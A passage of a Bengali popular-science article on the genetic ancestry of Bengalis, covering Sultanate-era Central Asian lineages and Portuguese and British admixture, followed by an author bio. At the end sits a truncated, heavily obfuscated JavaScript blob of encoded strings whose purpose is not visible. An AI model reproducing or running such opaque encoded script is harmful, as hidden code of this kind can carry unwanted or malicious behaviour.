প্রজন্মের পর প্রজন্ম ধরে ইসলামে ধর্মান্তরিত হয়েছিলেন। ফলস্বরূপ, বাঙালি জনগোষ্ঠীতে মধ্য-এশীয়, অর্থাৎ পূর্ব-ইউরেশীয়, পশ্চিম-ইউরেশীয় এবং দক্ষিণ-এশীয় পূর্বপুরুষদের একটি মোজাইক ডিএনএ-র ধীরে ধীরে অনুপ্রবেশ ঘটে। এই অভিবাসীদের প্রভাব কেবলমাত্র উচ্চশ্রেণির মধ্যে সীমাবদ্ধ ছিল না। সৈনিক, কেরানি, কারিগর এবং ধর্মীয় শিক্ষকরা সকলেই সামাজিক বাস্তুতন্ত্রের অংশ হয়ে ওঠেন। আজও, কিছু বাঙালি পরিবার গর্বের সাথে আফগান বা তুর্কি বংশের কথা বলেন। পাঠান, খান এবং মির্জার মতো কিছু উপাধি এই উত্তরাধিকার বহন করে, কিংবা বাংলাদেশের কিছু শেখ পরিবার আরব ব্যবসায়ী, পারস্য পণ্ডিত এবং এই অঞ্চলে বসতি স্থাপনকারী তুর্কি বিজয়ীদের বংশধর বলেও দাবি করেন। 

প্রাচীন যুগে বাংলা (ছবি: বাংলাপিডিয়া)
প্রাচীন বাংলা

মধ্য-এশীয় বংশের প্রভাব কেবল একটি মাত্র তরঙ্গের মধ্যেই সীমাবদ্ধ ছিল না, এটি শতাব্দী ধরে অব্যাহত ছিল। বখতিয়ার খিলজির নেতৃত্বে গৌড় বিজয়ের মাধ্যমে বাংলাকে ধীরে ধীরে দিল্লি সালতানাতের অন্তর্ভুক্ত করা হয়। বাংলা দিল্লি সালতানাতের একটি প্রাদেশিক রাজধানীতে পরিণত হয় এবং পরবর্তীতে এটি একটি স্বাধীন সালতানাত হয়ে গাঙ্গেয় বদ্বীপ অঞ্চলে একটি প্রভাবশালী শক্তি হিসেবে আবির্ভূত হয়েছিল। ইলিয়াস শাহ পাণ্ডুয়াতে (বর্তমান হুগলি জেলা, পশ্চিম বাংলা) তার রাজধানী স্থাপন করে গঙ্গা, ব্রহ্মপুত্র ও মেঘনা নদীর ব-দ্বীপ একীভূতের মাধ্যমে ‘বাংলা সালতানাত’ প্রতিষ্ঠা করেন। হাবশি শাসন (আবীসিনীয় বা ইথিওপীয় বংশোদ্ভূত), শের শাহ সুরি ও কররানী রাজবংশীয় শাসনসহ বাংলা সালতানাতের ১৩৫২ থেকে ১৫৭৬ পর্যন্ত শাসনামলে, শাসকরা মধ্য- ও পশ্চিম-এশিয়া থেকে পণ্ডিত, কারিগর, ব্যবসায়ীসহ নানা প্রতিভা এবং জনশক্তি আমদানি করেছিলেন। বলা বাহুল্য, ১৫৩৮ থেকে ১৫৭৬ পর্যন্ত, হোসেন শাহী রাজবংশের পতনের পর, বাংলায় আফগানদের শাসন শুরু হয়। বাংলা সালতানাত ও  আফগান শাসনামলে, অভিবাসীদের প্রতিটি আগমন বাংলার জিনতাত্ত্বিক ক্যানভাসে ভিন্নতর প্রভাব যোগ করে। বিশেষ করে বাংলা সালতানাত গঠনের পর, বাঙালি সুলতানদের ডিএনএ স্থানীয় বাঙালি বংশধরদের এবং মধ্য-এশিয়া, আফগানিস্তান, পারস্য, আরব এবং উত্তর-ভারত থেকে আসা অভিবাসীদের প্রভাবের মিশ্রণকে প্রতিফলিত করে। তাদের অভিবাসন এবং পরবর্তীতে বাংলায় বসতি স্থাপনের ফলে বাংলায় তাদের ডিএনএ মার্কারগুলির (ওয়াই-ডিএনএ হ্যাপ্লোগ্রুপ জে-২, আর-১, ই, এবং এল) উপস্থিতি দেখা দিয়েছে। কিছু অঞ্চলে, বিশেষ করে ঢাকা, রাজশাহী এবং উত্তর বাংলার কিছু অংশে, এই বংশধারাগুলি বেশি দেখা যায়। এছাড়াও, সুলতান জালালুদ্দিন মুহাম্মদ শাহ এর শাসনামলে আরাকান (বর্তমানে রাখাইন রাজ্য) বাংলা সালতানাতের একটি সামন্ত রাজ্য ছিল। তারা মূলত আদি তিব্বতি-বর্মন অভিবাসীর বংশধর এবং তাদের সাথেও বাংলার, বিশেষকরে  চট্টগ্রাম ও পার্বত্য-চট্টগ্রামের অধিবাসীর সংমিশ্রনেরও ইঙ্গিত পাওয়া যায়। তবে কেবল শাসকদের ডিএনএ-ই বাংলাকে বদলে দেয়নি, ইসলামের আগমন সম্প্রদায় গঠনের নতুন ধরনও তৈরি করে। 

বাংলা ভাষা প্রথমবারের মতো সুলতান আমলেই দরবারি ভাষা হিসেবে স্বীকৃতি পায়। তারা গৌড় এবং পান্ডুয়ার মতো প্রশাসনিক শহর স্থাপন করেছে, মসজিদ তৈরি করেছে এবং ইসলামি পণ্ডিত এবং আলেমদের স্বাগত জানিয়েছে। সময়ের সাথে সাথে, এই বিদেশি অভিবাসীরা বৃহত্তর বাঙালি মুসলিম জনসংখ্যার মধ্যে মিশে যায়। তারা বাংলা ভাষা ও স্থানীয় রীতিনীতি গ্রহণ করে এবং তাদের সন্তানরা রক্তে, কথায় এবং আত্মায় বাঙালি হয়ে ওঠে, এবং ওই মধ্য- ও পশ্চিম-এশীয়দের ডিএনএ বাঙালির জিনোমে স্থায়ী হয়ে যায়। আধুনিক বাংলার মুখমন্ডলে, বিশেষ করে এর শহুরে মুসলিম পরিবারে, এই প্রাচীন ভ্রমণকারীরা এখনও বাস করে, প্রাসাদ বা দুর্গে নয়, বরং চোখ, হাড় এবং ডিএনএ-তে। একটি জিন সমীক্ষা সেটাই প্রমাণ করে: আমাদের ১এ, জেড-৯৩ এবং জে-২-এর মতো নির্দিষ্ট ওয়াই-ক্রোমোজোম হ্যাপলোগ্রুপগুলি পশ্চিম- এবং মধ্য-এশিয়া থেকে পিতৃতান্ত্রিক বংশের দিকে ইঙ্গিত করে। বিপরীতে, মাতৃতান্ত্রিক মাইটোকন্ড্রিয় হ্যাপলোগ্রুপগুলি মূলত স্থানীয়দের জিনপরিচয় প্রকাশ করে। বাংলার সালতানাত তার ধর্মীয় বহুত্ববাদের জন্য পরিচিত ছিল, যেখানে অমুসলিম সম্প্রদায়গুলি মুসলিমদের সাথে শান্তিপূর্ণভাবে সহাবস্থান করত। এটি এই অঞ্চলের বিভিন্ন ধর্মীয় গোষ্ঠীর মধ্যে এমনকী জিনোমেও একীকরণ এবং আত্তীকরণের একটি মাত্রা নির্দেশ করে। সর্বপরি, বাংলা সালতানাতের ২০০ বছরের শাসনকালে বাঙালি জিনোম হয়ে উঠেছিল সমৃদ্ধ, বৈচিত্র্যময় এবং বিশ্বজনীন। ষোড়শ শতাব্দীতে মুঘল সাম্রাজ্যের উত্থানের সাথে সাথে বঙ্গ সালতানাত ভেঙ্গে যায়। সম্রাট আকবর ও সম্রাট জাহাঙ্গীরের শাসনামলে বাংলায় তাদের শাসন প্রতিষ্ঠিত হয়েছিল। এরপর শুরু হয় বাংলার নবাবি আমল- যার প্রকৃত স্বাধীন শাসক ছিলেন বাংলার নবাব আলিবর্দী খাঁন ও নবাব সিরাজুদ্দৌলা।  

ইউরোপীয়দের আগমন এবং বংশানুগতিক ইতিহাসের নতুন ধারা:

ঔপনিবেশিক আমলে, ষোড়শ শতাব্দীর গোড়ার দিকের কথা, যখন চট্টগ্রাম বন্দরে প্রথম ইউরোপীয় জাহাজ নোঙর করেছিল, তখন বাংলা ইতোমধ্যেই অনেক পূর্বপুরুষের দেশ হয়ে উঠেছিল। পর্তুগিজদের আগমন ঘটেছিল। কিছু পর্তুগিজ স্থানীয় বাঙালি মেয়েদের সাথে বিবাহবন্ধনে আবদ্ধ হয়ে যে দুটি ভিন্নতর জিনোমের মিশ্রন হয় এবং যেসব সন্তানদের জন্ম হয়, তাদের বংশকুল পরিচিত হল গোমেজ, রোজারিও এবং ফার্নান্দেজের মতো নানা নামে। তারা পর্তুগিজ ভাষার সাথে বাংলার মিশ্রণে ক্রেওল (বাংলা-পর্তুগিজ) উপভাষায় কথা বলত। মাইটোকন্ড্রীয় ডিএনএ গবেষণায়, এই অঞ্চলের জনগোষ্ঠীর মধ্যে পর্তুগিজ বংশের চিহ্ন এখনও পাওয়া যায়। পরবর্তীতে, পর্তুগিজদের অনুসরণ করে এসেছে দিনেমার (ডেনমার্কের মানুষ), ফরাসি এবং অবশেষে ব্রিটিশ। বাঙালির জিনোমে জিনগত-বৈচিত্র্যে ইউরোপীয় প্রভাব একটি গৌণ স্তর হলেও, এরা প্রত্যেকেই বিভিন্ন মাত্রায় তাদের জিনগত ও সাংস্কৃতিক প্রভাব এই বাংলায় রেখে গেছে। প্রায় ১৫০০ খ্রিস্টপূর্বাব্দে, ইন্দো-আর্য-অভিবাসন এই অঞ্চলে এক নতুন জিনগত প্রভাব নিয়ে আসে, ফলে বাঙালি ডিএনএ-তে ইন্দো-ইউরোপীয়দের একটি গুরুত্বপূর্ণ অবদান তো আছেই; এছাড়া ব্রিটিশ ঔপনিবেশিক আমলে (১৮শ থেকে ২০শ শতাব্দী), ইউরোপীয় ব্যক্তিদের (প্রাথমিকভাবে ব্রিটিশ) এবং স্থানীয় বাঙালি জনগোষ্ঠীর মধ্যে জিনের মিশ্রণ ঘটেছে। অনেক ব্রিটিশ পুরুষ বাঙালি মেয়েদের সাথে সম্পর্ক তৈরি করেছিল, কিছু আনুষ্ঠানিক কিছু অনানুষ্ঠানিক। এই মিলনের ফলে অ্যাংলোইন্ডিয়ান নামে শিশুদের জন্ম হয়। ওইসব অ্যাংলোইন্ডিয়ান সম্প্রদায়ের উপর একটি জিন গবেষণায় ব্রিটিশ ওয়াই-ক্রোমোজোম হ্যাপলোগ্রুপ এবং দক্ষিণ এশীয় মাইটোকন্ড্রীয় বংশের মিশ্রণ দেখা যায়, যা ব্রিটিশ পুরুষবংশ এবং বাঙালি নারীবংশের ইঙ্গিত দেয়। এই মিলনের সন্তানরা বাঙালি জিনোমে একটি নতুন সূত্র যোগ করেছে।  ১৯৪৭ পরবর্তী সময়ে তাদের অনেকেই তাদের নাম ও ধর্ম পরিবর্তন করে সম্পূর্ণরূপে বাঙালি সমাজে মিশে যায়, এবং স্থানীয় পরিবারে বিয়ে করে। এটি করার মাধ্যমে, তারা তাদের পূর্বপুরুষদের বৈশিষ্ট্য বৃহত্তর জনসংখ্যার সাথে একীভূত করে। এদের সংখ্যা আনুপাতিকহারে ছোট হলেও, বাংলার বৈচিত্র্যের সমৃদ্ধ কাঠামোর অংশ হিসাবে রয়ে গেছে। 

উপসংহার: 

বাঙালি ডিএনএ সহস্রাব্দ ধরে বিভিন্ন জনগোষ্ঠীর সাথে অভিবাসন, অভিযোজন এবং সাংস্কৃতিক আদান-প্রদানের জটিল পারস্পরিক ক্রিয়া প্রদর্শন করে। তারা আমাদের মনে করিয়ে দেয় যে ইতিহাস কেবল পাঠ্যপুস্তকে নয়— হাড়, রক্ত ​​এবং নিঃশ্বাসেও সেই চিহ্নগুলি রেখে যায়। আদিবাসী শিকড় থেকে পূর্ব-এশীয় এবং অন্যান্য মিশ্রণ পর্যন্ত অনন্য জেনেটিক মার্কারগুলি, মানব বংশের গতিশীল প্রকৃতির একটি সংযোগস্থল এবং প্রমাণ হিসাবে এই অঞ্চলের ঐতিহাসিক ভূমিকার উপর জোর দেয়। এই গবেষণা বাঙালি জাতিগোষ্ঠীর সমৃদ্ধ এবং বৈচিত্র্যময় ঐতিহ্যের প্রতি আমাদের উপলব্ধি আরও গভীর করে, আমাদের মনে করিয়ে দেয় যে, পরিচয় একটি স্থির গঠন নয়, বরং আমাদের জেনেটিক কোডে খোদাই করা একটি ক্রমাগত বিকশিত গল্প। বাঙালির ডিএনএ-র সেই গল্প এখনও বহমান, বাঙালি জিনোম এখনও গতিশীল।  আজ, বাঙালিরা আর সেই নদী এবং ব-দ্বীপের দ্বারা আবদ্ধ নয়, যা একসময় তাদের পূর্বপুরুষদের সংজ্ঞায়িত করা হয়েছিল। তারা এখন বিশ্বজুড়ে ছড়িয়ে ছিটিয়ে আছে, বিশেষ করে যুক্তরাজ্য এবং মার্কিন যুক্তরাষ্ট্রের মতো দেশগুলিতে বসবাসকারী বৃহৎ বাঙালি প্রবাসীরা আন্তঃবিবাহ এবং সাংস্কৃতিক আদান-প্রদানের মাধ্যমে ইউরোপীয় বংশোদ্ভূতদেরসহ অন্যান্য বৈশ্বিক জনগোষ্ঠীর সাথে বাঙালি জিনের মিশ্রণে অবদান রাখছে, জিনতাত্ত্বিকভাবে পুনর্নির্মাণ করছে তাদের পরিচয়।

মন্তব্য

লেখকতথ্য

প্রফেসর ড. রাশিদুল হক

প্রফেসর ড. রাশিদুল হক: সাবেক উপ-উপাচার্য, বরেন্দ্র বিশ্ববিদ্যালয়, রাজশাহী, এবং সাবেক অধ্যাপক, এমোরি বিশ্ববিদ্যালয়, আটলান্টা, যুক্তরাষ্ট্র, ও প্রাণিবিদ্যা বিভাগ, রাজশাহী বিশ্ববিদ্যালয়, বাংলাদেশ।
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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